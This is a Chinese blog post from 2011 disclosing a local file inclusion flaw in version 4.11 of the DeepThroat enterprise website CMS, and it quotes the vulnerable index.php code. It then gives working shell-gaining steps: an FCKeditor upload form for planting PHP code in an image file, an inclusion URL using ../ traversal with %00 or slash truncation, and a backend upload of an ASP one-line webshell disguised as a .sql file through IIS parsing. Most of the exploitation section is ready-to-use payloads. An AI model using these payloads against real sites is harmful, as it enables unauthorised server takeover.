深喉咙企业网站生成系统V4.11 本地包含漏洞

2011, April 21, 4:46 PM. PHP学习
Submitted by admin

#首发  www.3est.com
#发布作者 : 村长
#发布日期:2011-04.21

漏洞分析:

/index.php  源码

  1. /*--------------*/
  2. /*省略不必要代码*/
  3. /*--------------*/
  4.  
  5. $_REQUEST = cleanArrayForMysql($_REQUEST);
  6. $_GET     = cleanArrayForMysql($_GET);
  7. $_POST    = cleanArrayForMysql($_POST);
  8. $request  = $_REQUEST;
  9.  
  10. //上面传参都进行字符串转义,对于 ../ 没有任何影响
  11.  
  12. /*--------------*/
  13. /*省略不必要代码*/
  14. /*--------------*/
  15.  
  16. $request['m']                =        !isset($request['m'])?'':$request['m'];                   //m没有过滤
  17. $params['model']        =        empty($request['m'])?$menu_arr['type']:$request['m'];
  18. $request['a']                =        !isset($request['a'])?'':$request['a'];                   //a没有过滤
  19. $params['action']        =        empty($request['a'])?'index':$request['a'];
  20.  
  21.  
  22. /*--------------*/
  23. /*省略不必要代码*/
  24. /*--------------*/
  25.  
  26. function layout_part($style='')
  27. {
  28.         global $params,$request;
  29.        
  30.         //如果本次升级影响了parts内sql的执行, 请手动注释destorydb函数体代码,切记不要删除
  31.         destorydb();
  32.        
  33.         if(!empty($style)) $style = '_'.$style;
  34.         $part_path=ABSPATH.'/skins/'.STYLENAME.'/parts/'.$params['model'].'_'.$params['action'].$style.'.php';       //含m和a参数的路径
  35.         $content_part_path=ABSPATH.'/content/'.$params['model'].'/parts_'.$params['action'].'.php';                  //含m和a参数的路径
  36.         if(is_file($part_path))
  37.                 require_once($part_path);            //包含漏洞出现   BY:村长
  38.  
  39.         elseif(is_file($content_part_path))
  40.                 require_once($content_part_path);    //包含漏洞出现 BY:村长
  41.         else  
  42.                 echo $part_path;
  43.                 echo $content_part_path;
  44.                 echo '<span style="color:RED"><strong>您当前选择的信息所在的分类栏目或频道可能已经被删除或不存在,请检查一下,该信息所在的栏目情况以及栏目是
  45.  
  46. 否存在!</strong></span>';
  47.        
  48.         // 如果本次升级影响了parts内sql的执行, 请手动注释如下代码recoverdb函数体代码,切记不要删除
  49.         recoverdb();
  50.        
  51.         isComments();
  52. }
复制代码

漏洞利用(前台 GETSHELL):

IIS或者某些apache版本下php文件系统可以进行路径截断,例如://///////////////////////////////// 或则%00

1.先上传PHP恶意代码的图片格式文件,复制上传源码 cun.html:

  1. <form id="frmUpload" enctype="multipart/form-data"
  2. action="http://127.0.0.1/editor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
  3. <input type="file" name="NewFile" size="50"><br>
  4. <input id="btnUpload" type="submit" value="Upload">
  5. </form>
复制代码

.假设得到图片路径 /upload/Media/cunzhang.gif  (利用的是FCK的,测试上传变"."为"_",FCK的不能直接上传为诸如1.asp;.jpg的文件的)

3.直接输入地址:http://127.0.0.1/?m=../upload/Media/cunzhang.gif%00

或则 输入 http://127.0.0.1/?m=../upload/Me ... ///////////////////(若干)



嗯,再给个后台拿SHELL的方法吧,方面给那些不能包含,能进后台的朋友说下


后台 GETSHELL:


依次点击 =》数据库管理=》数据库恢复=》浏览上传  

上传文件cunzhang.asp;.sql  内容为  <%Y=request("cun")%> <%execute(Y)%>

得到地址http://127.0.0.1/temp/data/cunzhang.asp;.sql     (利用IIS的解析漏洞,就是SHELL了)

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):